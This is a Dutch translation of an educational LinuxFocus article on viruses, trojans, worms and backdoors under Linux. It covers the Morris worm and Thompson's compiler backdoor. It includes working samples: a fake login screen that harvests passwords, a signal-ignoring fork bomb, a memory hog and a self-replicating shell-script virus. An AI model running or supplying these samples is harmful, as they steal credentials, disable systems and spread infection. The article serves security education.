LinuxFocus article number 255
http://linuxfocus.org

Virussen: een zorg voor ons allen

door Christophe Blaess
(homepage)

Over de auteur:

Christophe Blaess is een onafhankelijke aeronautica ingenieur. Hij is een Linux fan en doet veel van z'n werk op dit systeem. Hij coördineert de vertaling van de man pages zoals die gepubliceerd worden bij het *Linux Documentation Project*.

Kort:

Dit artikel was eerder gepubliceerd in een speciale editie van het Linux Magazine France dat ging over beveiliging. De editor, de auteurs en de vertalers zijn zo vriendelijk geweest om LinuxFocus toe te staan alle artikelen uit dit nummer te publiceren. LinuxFocus zal deze artikelen, zodra ze vertaald zijn in het Engels, publiceren. Dank aan alle mensen die betrokken zijn bij dit werk. Deze tekst zal bij ieder artikel uit deze serie worden weergegeven.

Vertaald naar het Nederlands door:
Hendrik-Jan Heins
<hjh/at/passys.nl>

Vooraf

Dit artikel is gewijd aan interne beveiligingsproblemen die kunnen optreden op Linux systemen door agressieve software. Dit soort software kan schade veroorzaken zonder tussenkomst van mensen: Virussen, Wormen, Trojaanse Paarden (Trojans), enz. We zullen diep ingaan op de kwetsbare plekken, en de voor- en nadelen van free software hierbij beschouwen.

Inleiding

Er zijn vier verschillende soorten bedreigingen die door gebruikers nogal eens door elkaar worden gehaald, dit gebeurt vooral doordat een aanval meestal gebaseerd is op meerdere mechanismen:

- *Virussen* reproduceren zichzelf en tasten de inhoud van bestanden op de gastheer machine aan;
- *Trojaanse paarden* voeren opdrachten uit en verbergen zichzelf in onschuldig uitziende programma's;
- *Wormen* maken gebruik van het vermogen van computernetwerken om zichzelf voort te planten, zij maken bijvoorbeeld gebruik van e-mail;
- *Backdoors (achterdeuren)* maken het mogelijk voor een externe gebruiker om programma's over te nemen via een omweg.

Klassificatie is niet altijd even eenvoudig; er zijn bijvoorbeeld programma's die beschouwd worden als virussen door de een, maar als wormen door een ander, hierdoor wordt de ware aard een lastige bepaling. Het is voor dit artikel niet van belang om hier dieper op in te gaan, hier gaat het om de gevaren die een Linux systeem kunnen bedreigen.

In tegenstelling tot wat velen denken, bestaan deze vier plagen ook al onder Linux. Het is voor een virus natuurlijk wel lastiger om zich hier te verspreiden dan onder bijvoorbeeld DOS, maar het gevaar moet niet onderschat worden. Laten we eens analyseren wat de risico's zijn.

De mogelijke gevaren

Virussen

Een virus is een stukje code dat geïnstalleerd is in de kern van een gastheer programma en zichzelf kan dupliceren door een nieuw programma te infecteren. Virussen zijn vor het eerst ontwikkeld in de jaren zeventig, tijdens een spel dat de programmeurs in die tijd speelden, dit spel heette "*core war*". Het spel komt uit de Bell AT&T laboratoria [MARSDEN 00]. Het doel van het spel was om in een bepaald deel van het geheugen kleine programmaatjes die elkaar konden vernietigen, parallel te draaien. Het besturingssysteem bood de door de programma gereserveerde geheugenruimte geen bescherming, dus de tegen elkaar gerichte agressie die erop gericht was om elkaar vernietigen, was mogelijk. Om dit voor elkaar te krijgen, "bombardeerden" sommigen de grootst mogelijke geheugengebieden met "0", terwijl anderen zichzelf continu verplaatsten over het geheugengebied en aldus hoopten de concurrent te overschrijven, soms werkten enkelen hiervan zelfs samen om de concurrentie uit te schakelen.

De algoritmen die gebruikt werden voor het spel werden omgezet in een assembleertaal die hier speciaal voor was ontwikkeld, de "*red code*", die werd uitgevoerd via een emulator die te vinden was op de meeste machines. De interesse in het spel was voornamelijk wetenschappelijke interesse, zoals de interesse in het "Life of Conway" spel, de fractals, de genetische algoritmen, enz.

Echter, na de publicatie van artikelen over de *core war*, in de *Scientific American* [DEWDNEY 84], moest het onvermijdelijke wel gebeuren en begonnen enkele mensen met het schrijven van bits met zichzelf-vermenigvuldigende code, speciaal gericht op de boot sector van floppies of uitvoerbare bestanden, eerst op Apple computers, en daarna op MacIntosh en PC's.

Het MS-DOS besturingssysteen was een geliefd doel om virussen op te ontwikkelen: statische uitvoerbare bestanden met een zeer bekend formaat, geen geheugenbescherming, geen beveiliging van de bestandstoegangsrechten, een wijd verbreid gebruik van *TSR* residente programma's die gestapeld

werden in het geheugen, enz. We moeten hier wel aan toevoegen dat de manier waarop de gebruiker ermee werkte ook van belang was, het in het wilde weg uitwisselen van uitvoerbare programma's op floppies, zelfs zonder zich zorgen te maken over de afkomst van de bestanden.

In z'n eenvoudigste vorm is een virus een klein stukje code dat wordt uitgevoerd als een extra commando bij het uitvoeren van een uitvoerbaar bestand. Het zal gebruik maken van die tijd om op zoek te gaan naar andere uitvoerbare bestanden die nog niet geïnfecteerd zijn, zichzelf daarin kopiëren (liefst zonder het origineel te veranderen om minder op te vallen) en daarna eindigen. Bij het starten van het nieuwe uitvoerbare bestand, begint dit proces opnieuw.

Virussen kunnen gebruik maken van een groot arsenaal aan "wapens" om zichzelf te kopiëren. In [LUDWIG 91] en [LUDWIG 93] is er een gedetailleerde uitleg te vinden over virussen voor DOS, door gebruik te maken van geavanceerde middelen om zich te verbergen om voor te blijven op de huidige nti-virus software: random encryptie, permanente verandering van code, enz. Het is zelfs mogelijk om virussen tegen te komen die gebruik maken van genetische algoritmen om hun kansen op overleven en voortplanten te vergroten. Soortgelijke methoden worden beschreven in een zeer beroemd artikel: [SPAFFORD 94].

Maar we moeten onthouden dat behalve het onderwerp van experimenten met kunstmatig leven, het computer virus wijdverspreide schade tot gevolg kan hebben. Het principe van meervoudig kopiëren van een bit code is alleen maar misbruik van ruimte (disk en geheugen), maar virussen worden gebruikt als een ondersteuning - transportmiddel - voor andere entiteiten die veel onaangenamer zijn: de *logische bommen*, die we ook zullen tegenkomen in Trojaanse paarden.

Trojaanse paarden en logische bommen

Timeo Danaos et dona ferentes - Ik vrees de Grieken nog meer als ze geschenken brengen. (Virgilius, de *Aeneas*, II, 49).

De belegerde Trojanen hebben het slechte idee gehad om een groot houten standbeeld van een paard, dat verlaten was door de Griekse belegeraars als een religieus offer, de stad binnen te halen. Het Trojaanse paard zat van binnen vol met Grieken, die, zodra ze binnen waren, 's nachts de stad van binnenuit aanvielen, wat hen de zege van de Trojaanse oorlog opleverde.

De beroemde term "Trojaans paard" wordt vaak gebruikt als het gaat om computer beveiliging wat betreft een *a priori* onschuldige applicatie die, zoals het hierboven genoemde virus, een vernietigende code - een *logische bom* genaamd - verspreidt.

Een logische bom is een deel van een programma dat met opzet gemaakt is om schade toe te brengen, de effecten kunnen onder andere de volgende zijn:

- grote verspilling van systeembronnen (geheugen, harde schijf, processorcapaciteit, enz.);
- snelle vernietiging van zo veel mogelijk bestanden (ze worden overschreven zodat gebruikers hun bestanden niet meer terug kunnen krijgen);
- onderhandse vernietiging van een bestand in de zoveel tijd, om zolang mogelijk onontdekt te blijven;

- een aanval op de systeemveiligheid (een implementatie van weinig beperkende toegangsrechten, het sturen van wachtwoordbestanden naar een internet adres, enz.);
- gebruik van de machine voor computer terrorisme, zoals DDoS (*Distributed Denial of Service*) zoals genoemd in het beroemde artikel van [GIBSON 01].
- een inventaris van licentienummers wat betreft applicaties op de schijf die vervolgens worden gestuurd naar een software ontwikkelaar.

In sommige gevallen wordt de logische bom geschreven voor een specifiek doelsysteem waarvan wordt gepoogd om vertrouwelijke gegevens te stelen, bepaalde bestanden te vernietigen, of om een gebruiker in diskrediet te brengen door zijn identiteit aan te nemen. Als deze bom op een ander systeem wordt uitgevoerd, is hij niet schadelijk.

De logische bom kan ook proberen om fysiek het systeem waar het in zit te vernietigen. De mogelijkheden hiervoor zijn beperkt, maar ze bestaan wel (CMOS geheugen wissen, veranderingen van modem flash geheugen, destructieve bewegingen van de kop van een printer, plotter, scanner, versnelde beweging van de koppen van de harde schijf...).

Om verder te gaan op de "explosieve" metafoor, kunnen we zeggen dat een logische bom een ontsteker nodig heeft om te worden geactiveerd. Het is een slechte tactiek om al bij de eerste keer starten van een Trojaans paard of een virus, vernietigende acties uit te voeren, aangezien dit niet erg efficient is. Na installatie kan de logische bom beter wachten voordat hij "afgaat". Dit verhoogt bij virussen de kans om andere systemen te bereiken als hij zichzelf wil verspreiden, en bij Trojaanse paarden zorgt het ervoor dat de gebruiker te eenvoudig de link legt tussen de nieuw geïnstalleerde applicatie en het vreemde gedrag van z’n machine.

Zoals bij iedere schadelijke actie, kan het "trekkermechanisme" variëren: het verwijderen van een gebruikersaccount 10 dagen na installatie (lay-off), een voor 30 minuten inactieve muis en toetsenbord, een grote wachtrij voor de printer... de mogelijkheden zijn eindeloos! De bekendste Trojaanse paarden zijn schermbeveiligingen. Achter een aantrekkelijk uiterlijk, kunnen deze programma’s zonder kans op ontdekking schade aanrichten, vooral als de logische bom alleen wordt geactiveerd na een uur ’s nachts, aangezien je er dan vrij zeker van kan zijn dat er geen gebruiker achter de computer zit.

Een ander bekend voorbeeld van een Trojaans paard is het volgende script, dat een login/wachtwoord scherm weergeeft, deze stuurt de informatie naar de persoon die hem gemaakt heeft, en stopt. Als het werkt op een ongebruikte terminal, kan dit script het wachtwoord van de volgende gebruiker die probeert in te loggen, doorsturen.

```
#! /bin/sh

clear

cat /etc/issue

echo -n "login: "

read login

echo -n "Password: "

stty -echo
```

```
read passwd

stty sane

mail $USER <<- fin

        login: $login

        passwd: $passwd

fin

echo "Login incorrect"

sleep 1

logout
```

Om ervoor te zorgen dat het afsluit als het beeindigd is, moet het worden gestart met het `exec` commandoregel commando. Het slachtoffer zal denken dat hij/zij een typefout heeft gemaakt als het "*Login incorrect*" verschijnt en zal opnieuw op de normale manier inloggen. Geavanceerdere versies kunnen een X11 verbindingsdialoog simuleren. Om dit soort valstrikken te vermijden, is het verstandig om eerst een valse login/wachtwoord in te geven als u een terminal gebruikt (dit is heel makkelijk en snel aan te leren).

Wormen

En Paul bevond zich op de Worm, jubelend, als een keizer die het universum domineert. (F. Herbert "*Dune*")

"*Wormen*" zijn ontstaan uit hetzelfde principe als virussen. Het zijn programma's die proberen zichzelf te vermenigvuldigen om een maximale verspreiding te behalen. En ook al is het niet hun belangrijkste kenmerk, ze kunnen ook een logische bom bevatten met een vertraging. Het verschil tussen wormen en virussen ligt in het feit dat wormen geen gebruik maken van een gastheerprogramma als transportmiddel, maar in plaats daarvan proberen ze te profiteren van de mogelijkheden die netwerken bieden, zoals e-mail, om zich te verspreiden van machine naar machine.

Het technische niveau van wormen is vrij hoog; ze maken gebruik van de kwetsbaarheden in software die netwerkdiensten leveren om zichzelf te dupliceren op een andere, niet-lokale machine. Het archetype is de 1988 "*Internet Worm*".

De *Internet Worm* is een voorbeeld van een worm in pure vorm, die geen logische bom bevat, maar z'n onbedoelde vernietigende effect was gigantisch. Je kunt een korte maar accurate omschrijving vinden bij [KEHOE 92] of een gedetailleerde analyse bij [SPAFFORD 88] of [EICHIN 89]. Er is ook een minder technische en spannendere uitleg te vinden bij [STOLL 89] (dat het *Koekoeksei* verhaal volgt), hier is te volgen met welke moeite de teams deze worm bevechten na de paniek van de systeembeheerders wiens systemen zijn geïnfecteerd.

Een korte versie: deze worm was een programma geschreven door Robert Morris Jr, een student aan de

Cornell universiteit, die al bekend was door een artikel over veiligheidsproblemen met netwerk protocollen [MORRIS 85]. Hij is de zoon van een man die hoofd is van de afdeling computerbeveiliging bij de NCSC, een tak van de NSA. Het programma is gestart aan het einde van de middag van 2 november 1988 en het legde de meeste systemen die verbonden waren met internet plat. Het werkte in verschillende fasen:

1. Zodra een computer geïnfiltreerd was, probeerde de worm zich verder te verspreiden over het netwerk. Om adressen te vinden, las hij systeembestanden en riep hij programma's als `netstat` aan om informatie te krijgen over netwerk apparaten.
2. Hierna probeerde hij gebruikersaccounts te openen. Hiervoor vergelijkte hij de inhoud van een woordenboek met het wachtwoordbestand. Hij probeerde ook wachtwoorden gebaseerd op combinaties van de letters van de gebruikersnaam (omdraaien, herhalen, enz.). Deze stap was alleen te zetten als de wachtwoord bestand gecodeerd was in een leesbaar/te openen bestand (`/etc/passwd`), op deze manier kon hij gebruik maken van slecht gekozen wachtwoorden. Deze eerste kwetsbaarheid is nu opgelost dankzij de *shadow passwords*.
3. Als hij er in slaagde om bij de gebruikersaccount te komen, probeerde de worm machines te vinden die directe toegang gaven zonder identificatie procedure, dus door gebruik te maken van `~/.rhosten /etc/hosts.equiv` bestanden. In dat geval maakte het gebruik van `rsh` om instructies uit te voeren op de niet-lokale machine. Zo kon het zichzelf kopiëren naar de nieuwe gastheer en kon de cyclus opnieuw beginnen.
4. Anders is er een tweede kwetsbaarheid die gebruikt werd om in een andere machine te komen: een `fingerd` buffer overflow lek. (Zie ook de serie over veilig programmeren: Het vermijden van een veiligheidslek bij het ontwikkelen van een applicatie - Deel 1, Het vermijden van een veiligheidslek bij het ontwikkelen van een applicatie - Deel 2: geheugen, stack en functies, commandoregelcode, Het vermijden van een veiligheidslek bij het ontwikkelen van een applicatie - Deel 3: buffer overflows.)
   Deze bug stond het uitvoeren van niet-lokale code toe. Daarna kon de worm zichzelf kopiëren naar het nieuwe systeem en kan de cyclus opnieuw beginnen. Dit werkte echter slechts bij enkele typen processoren.
5. Tenslotte werd er een derde kwetsbaarheid gebruikt: een debug optie, die standaard aanstaat in de `sendmail` daemon, die ervoor zorgt dat mail verstuurd wordt naar de standaard input van het programma dat wordt aangegeven als doel. Deze optie zou nooit aan hebben mogen staan op productie-machines, maar helaas vergaten of negeerden de meeste beheerders het bestaan hiervan.

Opmerking: Zodra een worm enkele instructies heeft kunnen uitvoeren op een niet-lokale machine, is de manier waarop hij zichzelf kopieert vrij complex. Hiervoor is het verzenden van een klein C programma, dat ter plekke opnieuw wordt gecompileerd en gestart, noodzakelijk. Daarna start het een TCP/Ip verbinding naar de moedercomputer en haalt de binaire code van de worm op. Deze laatste is voorgecompileerd voor, waar mogelijk, verschillende architecturen (Vax en Sun), en de een na de ander wordt nu getest. Bovendien is de worm er vrij goed in om zichzelf zonder sporen te verbergen.

Helaas werkt het mechanisme dat ervoor zorgt dat een al besmette computer niet nogmaals geïnfecteerd wordt, niet zoals verwacht en de schadelijke bijwerking van de *Internet 88* worm, die geen logische bom bevatte, toonde zichzelf als een overbelasting van de geïnfecteerde systemen (door onder andere het blokkeren van e-mail waardoor het aanleveren van een oplossing meer tijd kostte).

De auteur van de worm is enige tijd in de gevangenis gezet.

Wormen zijn relatief zeldzaam omdat ze zo complex zijn. Ze moeten dan ook niet verward worden met een ander soort gevaar, de virussen die verzonden worden als attachment aan een e-mail, zoals het beroemde "*ILoveYou*". Dit type is vrij eenvoudig te maken, aangezien ze zijn geschreven als macro (in Basic) voor applicaties die automatisch starten bij het lezen van de mail. Dit werkt alleen op sommige besturingssytemen, wanneer het e-mail programma te eenvoudig is ingesteld. Dit soort programma's lijkt meer op een Trojaans paard dan op een worm, aangezien ze een actie van de gebruiker nodig hebben om gestart te worden.

Backdoors

Backdoors kunnen worden vergeleken met Trojaanse paarden, maar ze zijn niet identiek. Een backdoor laat een ("gevorderde") gebruiker software veranderen, zodat het anders werkt. Het kan worden vergeleken met de *cheat codes* die gebruikt worden in spellen om bijvoorbeeld meer bronnen te verkrijgen of een hoger level te bereiken. Maar het geldt ook voor critische applicaties zoals autorisatie of e-mail, aangezien ze ongeziene toegang met een wachtwoord dat alleen de bouwer van de software kent, kunnen gebruiken.

Programmeurs die de debug fase willen vergemakkelijken, bouwen vaak een kleine achterdeur in, om de software te kunnen gebruiken zonder via het autorisatie mechanisme te hoeven gaan, zelfs wanneer de applicatie geïnstalleerd is bij een client. Soms zijn het officiële toegangsmechanismen met standaard wachtwoorden (`system`, `admin`, `superuser`, enz), maar zijn ze niet goed gedocumenteerd waardoor de beheerders er niets mee doen.

Onthoud dat er verschillende verborgen toegangen bestaan om te communiceren met de kern van het systeem zoals in de film "*Wargame*" naar voren komt, maar je kunt ook eerdere rapporten van dergelijke praktijken vinden. In een ongelofelijk artikel van Ken Thompson [THOMPSON 84], een van de "vaders" van Unix, wordt de verborgen toegang die hij vele jaren geleden in Unix systemen implementeerde, beschreven:

- Hij had de `/bin/login` applicatie veranderd zodat er een bit code meeging dat directe toegang tot het systeem gaf via een meegecodeerd wachtwoord (dus zonder te kijken naar `/etc/passwd`). Op deze manier kon Thompson ieder systeem bezoeken met behulp van deze `login` versie.
- Echter, de broncode van de applicatie was altijd beschikbaar (zoals met de huidige free software). En de `login.c` broncode was aanwezig in de Unix systemen en iedereen kon de code lezen. Dus Thompson leverde een "schone" `login.c` broncode, zonder de achterdeur.
- Het punt was dat iedere beheerder de `login.c` kon hercompileren en daarmee de achterdeur kon verwijderen. Hierna modificeerde Thompson de standaard C compiler zodat deze de achterdeur toevoegde wanneer iemand `login.c` probeerde te compileren.
- Maar ook de compiler broncode `cc.c` was beschikbaar en iedereen had de brondcode ervan kunnen lezen of hercompileren. Thompson leverde ook een "schone" compiler broncode, maar het binaire bestand, dat dus al gecompileerd was, kon z'n eigen bronbestanden herkennen, en stopte er dan de code in die gebruikt werd om `login.c` te infecteren...

Wat is hiertegen te doen? Eigenlijk niets! De enige manier zou zijn het starten met een brandschoon systeem. Tenzij je een machine opbouwt vanaf de basis en zelf de gehele microcode, het besturingssysteem, de compilers, de gereedschappen schrijft, kan je er niet zeker van zijn dat iedere

applicatie schoon is, zelfs niet als de broncode beschikbaar is.

En, hoe zit het met Linux?

We hebben de belangrijkste risico’s aangegeven voor alle systemen. Nu gaan we kijken naar de bedreigingen voor free software en Linux

Logische bommen

Laten we allereerst eens kijken naar de schade die een logische bom kan veroorzaken als hij wordt uitgevoerd op een Linux box. Dit is natuurlijk afhankelijk van het gewenste effect en de rechten van de gebruiker die hem uitvoert.

Wat betreft de vernietiging van een bestandssysteem of het lezen van vertrouwelijke gegevens, zijn er twee mogelijkheden. Als de bom zich uitvoert onder de identiteit van *root*, zal hij alles op de machine kunnen, inclusief het verwijderen van iedere partitie en het beschadigen van de hardware, zoals hierboven al is genoemd. Als hij is gestart onder welke andere identiteit dan ook, zal het niet meer kunnen vernietigen dan dat wat de betreffende gebruiker kan. Hij kan nu alleen gegevens die van deze gebruiker zijn aantasten. In dat geval is iedere gebruiker namelijk eigenaar van z’n eigen bestanden. Een preciese systeembeheerder voert slechts weinig taken uit als *root*, dat maakt de kans op het starten van een logische bom onder deze account minder waarschijnlijk.

Het Linux systeem is vrij goed in het beschermen van privé gegevens en toegang tot hardware, maar het is wel gevoelig voor aanvallen gericht op het inoperabel maken door veel bronnen te bezetten. Bijvoorbeeld het volgende C programma dat lastig te stoppen is, zelfs als het door een gewone gebruiker wordt gestart, omdat het, als het aantal maximaal te openen processen niet is gelimiteerd, alle beschikbare bronnen zal "opeten" en pogingen om het te sluiten (kill), vrijwel onmogelijk maakt:

```
  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
```

```
}
```

De limieten die je in kan stellen voor gebruikers (met de `setrlimit()` systeem aanroep, en de comanndoregel functie `ulimit`) maken het mogelijk om het "leven" van een dergelijk programma te verkorten, maar ze werken alleen na enige tijd en tot die tijd is het systeem onbereikbaar.

Op hetzelfde vlak, gebruikt een programma zoals het volgende al het beschikbare geheugen en loopt het rondjes waarbij hij de CPU cycli "eet", daardoor verstoort het de andere processen:

```
  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}
```

Meestal wordt dit programma automatisch afgesloten door het virtuele geheugenbeheer systeem van de nieuwste kernels. Maar hiervoor kan de kernel andere taken afsluiten die veel geheugen kosten en op dat moment inactief zijn (zoals bijvoorbeeld X11 applicaties). Bovendien krijgen andere processen die geheugen nodig hebben dat niet toegewezen, waardoor ze meestal afgesloten worden.

Netwerkfuncties uitschakelen is ook vrij eenvoudig, het overbelasten van de betreffende poort met continue verbindingsaanvragen is voldoende. Er bestaan oplossingen om dit te vermijden, maar die worden niet altijd door de beheerder geïmplementeerd. Het valt op dat onder Linux een logische bom, zelfs als deze gestart is door een normale gebruiker, vrij verstorend kan werken. Voldoende verstorend om enkele `fork()`, `malloc()` en `connect()` commando’s uit te voeren en het systeem en de netwerk services behoorlijk te belasten.

Virussen

```
Onderwerp: Unix Virus

JE HEBT EEN UNIX VIRUS ONTVANGEN
```

```
Dit virus werkt alleen als mensen elkaar blijven waarschuwen:

Als je Linux of Unix gebruikt, stuur deze mail dan door naar al je

vrienden en vernietig willekeurig enkele bestanden op je systeem.
```

Ondanks het idee dat velen hebben, kunnen virussen een bedreiging zijn onder Linux. Er bestaan er enkele. Het is echter wel waar dat Linux geen handig gebied is voor een virus om zich te verspreiden. Laten we eerst eens kijken naar de fase waarin een machine wordt geïnfecteerd. De code van het virus moet daar dan uitgevoerd worden. Dit betekent dat er een besmet bestand van ergens anders moet zijn gekopieerd. Bij Linux is het gebruikelijk dat je een applicatie aan een ander geeft door hem te vertellen op welke *URL* de software te vinden is, in plaats van hem de uitvoerbare bestanden toe te sturen. Dit betekent dat een virus van een officiële site moet komen, en daar zal het al snel ontdekt worden. Zodra een machine is geïnfecteerd, moet hij, voordat het virus verspreid kan worden,worden gebruikt als een platform voor voorgecompileerde programma's, en daar zijn er niet veel van. Het uitvoerbare bestand is dus geen goed vervoersmiddel voor de logische bom in de free software wereld.

Wat betreft de verspreiding in de machine; een besmette applicatie kan zich alleen verspreiden naar bestanden waartoe de gebruiker die de applicatie heeft gestart, schrijftoegang heeft. De slimme systeembeheerder werkt alleen als *root* tijdens acties die deze privileges echt nodig hebben, en dan is het onwaarschijnlijk dat nieuwe software gestart wordt onder deze identiteit. Behalve voor de installatie van een *Set-UID root* applicatie, is het risico hiermee aanmerkelijk verkleind. Zodra een normale gebruiker een geïnfecteerd programma start, zal het virus alleen verspreiden naar de bestanden die van die gebruiker zijn, en niet verspreiden naar de systeem gereedschappen.

Virussen zijn lang afgeschilderd als een schijn-dreiging onder Unix, dit komt mede door de verscheidenheid aan processoren (en dus programmeertalen) en bibliotheken (dan object referenties) waardoor het bereik van voorgecompileerde code aanzienlijk wordt beperkt. Vandaag de dag is dat niet meer waar; een virus dat ELF bestanden infecteert die gecompileerd zijn voor Linux op een i386 processor met GlibC 2.1 zal veel potentiele gastheren vinden. Bovendien kan een virus nu worden geschreven in een taal die niet afhankelijk is van de gastheer die hem uitvoert. Hier is bijvoorbeeld een virus voor commandoregel scripts. Het probeert in ieder commandoregelscript in de map waarin het gestart is, te komen. Om een tweede infectie te voorkomen, negeert het virus alle bestanden waarbij de tweede regel het commentaar "infected" of "vaccinated" bevat.

```
#! /bin/sh

# infected


( tmp_fic=/tmp/$$

candidates=$(find . -type f -uid $UID -perm -0755)

for fic in $candidates ; do

        exec < $fic

        # Let's try to read a first line,
```

```
        if  ! read line ; then
                continue
        fi
        # and let's check it is a shell script.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Let's read a second line.
        if ! read line ; then
                continue
        fi
        # Is the file already infected or vaccinated ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then<
 +++br>
                continue
        fi
        # Otherwise we infect it: copy the virus body,
        head -33 $0 > $tmp_fic
        # and the original file.
        cat $fic >> $tmp_fic
        # Overwrite the original file.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &
```

Het virus probeert zichzelf of z'n acties niet te verbergen, behalve het feit dat het in de achtergrond draait terwijl het normale script werkt zoals gewoonlijk. U moet dit script natuurlijk niet uitvoeren als *root* ! Vooral niet wanneer u het commando `find .` vervangt door het commando `find /`. Behalve de eenvoud van dit programma, is het zeer eenvoudig om de controle erover kwijt te raken, vooral als het systeem veel aangepaste commandoregel scripts bevat.

Tabel 1 bevat informatie over bekende virussen onder Linux. Het zijn allemaal met ELF uitvoerbare bestanden die hun code ingeven na de bestandsheader en daarna de rest van de originele code terugzetten. Tenzij anders aangegeven, zoeken ze potentiële slachtoffers in de systeemmappen. UIt deze

tabel kan je opmaken dat Linux virussen niet slechts theoretisch zijn, ook al zijn ze tot nu toe niet al te gevaarlijk.

Table 1 - Virussen voor Linux

Naam	*Logische Bom*	*Opmerkingen*
Bliss	Schijnbaar inactief	Automatisch desinfectie van het uitvoerbare bestand wanneer dit wordt aangeroepen met de optie `--bliss-disinfect-files-please`
Diesel	Geen	
Kagob	Geen	Maakt gebruik van een tijdelijk bestand om het origineel van het geïnfecteerde programma te draaien
Satyr	Geen	
Vit4096	Geen	Infecteert alleen bestanden in de geopende map
Winter	Geen	De virus code is 341 bytes. Infecteert alleen bestanden in de geopende map
Winux	Geen	Dit virus bevat twee verschillende codes, en kan zowel Windows bestanden als ELF Linux bestanden infecteren. Het kan echter geen andere partities verkennen dan degene waarop het is geïnstalleerd, daardoor kan het zich minder goed verspreiden
ZipWorm	Plaatst een "troll" tekst over Linux en Windows in de Zip bestanden die het vindt. ("troll"= een soort gnoom, bekend uit de Zweedse mythologie)	

Het zal je zijn opgevallen dan het "Winux" virus zich zowel onder Windows als onder Linux kan verspreiden. Het is een onschadelijk virus en het is meer een bewijs van wat er mogelijk is dan een echt gevaar. Maar dit concept doet je wel de rillingen over de rug lopen, als je bedenkt dat zo'n indringer van de ene partitie naar de andere kan springen, en een heterogeen netwerk kan binnendringen via bijvoorbeeld de Samba server. Uitroeien ervan is een verschrikking als je bedenkt dat de gereedschappen daarvoor op beide systemen tegelijk beschikbaar moeten zijn. Het is van belang om op te merken dat het Linux beschermingsmechanisme voorkomt dat een virus onder een normale gebruikersidentiteit het bestandssysteem kan beschadigen, maar onder Windows binnengekomen, werkt deze bescherming niet meer.

We moeten toch de nadruk leggen op één punt: iedere voorzorg die de beheerder kan nemen onder Linux wordt ineffectief als je de machine opstart vanaf een Windows partitie en daarmee een eventueel multi-platform virus de vrije hand geeft. Dit is een probleem voor iedere machine met een *dual-boot* installatie; de bescherming van het geheel is afhankelijk van het zwakste systeem! De enige oplossing is het verbieden van toegang tot Linux partities vanaf welke Windows applicatie dan ook, door gebruik te maken van een gecodeerd bestandssysteem. Dit is nog geen ingeburgerd gegeven. en we mogen er vanuitgaan dat virussen die niet gemounte partities kunnen aanvallen binnenkort al een groot gevaar zullen zijn voor Linux machines.

Trojaanse paarden

Trojaanse paarden zijn net zo bedreigend als virussen, maar mensen lijken hier bewuster mee om te gaan. In tegenstelling tot een logische bom die wordt getransporteerd door een virus, moet die in een Trojaans paard met opzet door een mens geplaatst zijn. In de wereld van de free software, is het bereik van het beetje code van een auteur naar de eindgebruiker beperkt door slechts een of twee bemiddelaars (bijvoorbeeld iemand die de supervisie over een project heeft en iemand die de distributie maakt). Als er een Trojaans paard gevonden wordt, is het heel eenvoudig om de "schuldige" te vinden.

De wereld van de free software is dus vrij goed beschermd tegen Trojaanse paarden. Maar als we nu kijken naar free software zoals we dat vandaag de dag kennen, met beheerde projecten, vele verschillende ontwikkelaars en web sites met referentie gegevens. Dit staat vrij ver van *shareware* of *freeware*, die alleen voorgecompileerd beschikbaar is en anarchistisch via honderden websites (of op een CD meegeleverd bij een blad) gedistribueerd wordt, waarbij de auteurs allen bekend zijn via een e-mail adres, dat ook nog eens eenvoudig te vervalsen is; dat is pas echt een goede geboortegrond voor Trojaanse paarden.

Let er wel op dat het feit dat de broncode van applicaties beschikbaar en compileerbaar is, nog geen garantie is van veiligheid. Een schadelijke logische bom kan worden verstopt in het "`configure`" script (degene die wordt aangevraagd bij "`./configure; make`") dit is gewoonlijk ongeveer 2000 regels lang! En tenslotte: ook al is de broncode van een applicatie schoon en compileerbaar; dat betekent nog niet dat het `Makefile` geen logische bom bevat, die geactiveerd wordt tijdens de "`make install`", die normaal gesproken wordt uitgevoerd als *root*!

Een groot deel van de virussen en Trojaanse paarden die schade kunnen aanrichten onder Windows, zijn macro’s die uitgevoerd worden bij het bekijken van een document. De (Office) pakketten onder Linux kunnen deze macro’s niet interpreteren, tenminste tot nu toe niet, het risico daarvan is wel dat de gebruiker een overdreven gevoel van veiligheid krijgt. Op een zeker moment zullen deze gereedschappen wel de in documenten meegeleverde Basic macro’s kunnen lezen. Het feit dat ontwikkelaars het slechte idee hadden om deze macro’s systeemcommando’s te laten uitvoeren, zal vroeg of laat problemen geven. Natuurlijk wordt, net als bij virussen, het vernietigende effect beperkt door de rechten van de gebruiker, maar het feit dat er geen systeembestanden verloren gaan (die ook beschikbaar zijn op de installatie CD), is voor de gebruiker maar een schrale troost als hij net al z’n documenten, mail en broncode bestanden kwijt is, terwijl z’n laatste backup al een maand oud is.

Tenslotte beeindigen we deze sectie over Trojaanse paarden die in gegevens zitten, met de opmerking dat er altijd wel manieren zijn om de gebruiker te pesten, ook zonder schadelijk te zijn, met enkele bestanden die met een programma geopend moeten worden. Op Usenet zijn van tijd tot tijd gecomprimeerde bestanden te vinden die zichzelf vermenigvuldigen in meerdere bestanden tot de schijf vol staat. Enkele Postscript bestanden kunnen ook het interpretatie programma blokkeren (`ghostscript` of `gv`) en daarmee processortijd verspillen. Dezen zijn niet schadelijk, maar ze kosten de gebruiker tijd en zijn irritant.

Wormen

Linux bestond nog niet ten tijde van de 1988 Internet Worm; het zou zeker een doelwit zijn geweest voor dit soort aanval, de beschikbaarheid van free software broncode maakt de zoektocht naar kwetsbaarheden zeer eenvoudig (buffer overflows, bijvoorbeeld). De complexiteit om een "kwalitatief goede" worm te schrijven, zorgt ervoor dat er slechts een klein aantal echt actief is onder Linux. Tabel 2 toont een paar van de meest bekende en gebruikte...

Wormen maken gebruik van netwerk server kwetsbaarheden. Voor workstations die niet continu gekoppeld zijn aan internet is het risico in theorie kleiner, dan voor servers die een permanente verbinding hebben. Maar de evolutie van nieuwe typen verbindingen voor thuisgebruikers (Cable, SDL, enz.) en het gemak waarmee de huidige netwerk services kunnen worden geïmplementeerd (HTTP servers, anonymous FTP, enz.) maken duidelijk dat dit al snel een probleem voor iedereen kan worden.

Tabel 2 - Wormen onder Linux

